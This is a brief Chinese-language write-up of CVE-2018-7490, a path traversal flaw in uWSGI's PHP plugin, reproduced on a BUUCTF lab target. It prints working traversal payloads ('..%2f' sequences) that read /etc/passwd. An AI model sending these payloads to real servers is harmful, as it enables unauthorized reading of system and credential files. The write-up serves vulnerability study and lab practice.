漏洞简介
CVE-2018-7490 (PHP目录穿越漏洞)
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。
影响版本
uWSGI 2.0.17之前版本中存在路径遍历漏洞。
漏洞分析
uWSGI 2.0.17之前的PHP插件,没有正确的处理DOCUMENT_ROOT检测,导致用户可以通过…%2f来跨越目录,读取或运行DOCUMENT_ROOT目录以外的文件,利用该漏洞查看系统上的任意文件。
漏洞复现
BUUCTF-[uwsgi]CVE-2018-7490
访问靶机地址,是phpinfo页面,可以看到uWSGI/php,可能存在任意文件读取漏洞
下面是官方提供的POC:
url/..%2f..%2f..%2f..%2f..%2fetc/passwd
#/号经过url转码后得到%2f
成功读取到etc/passwd文件
经过测试当payload为
/..%2fetc/passwd
此时Not Found
当payload为
/..%2f..%2fetc/passwd
此时可以读取到etc/passwd文件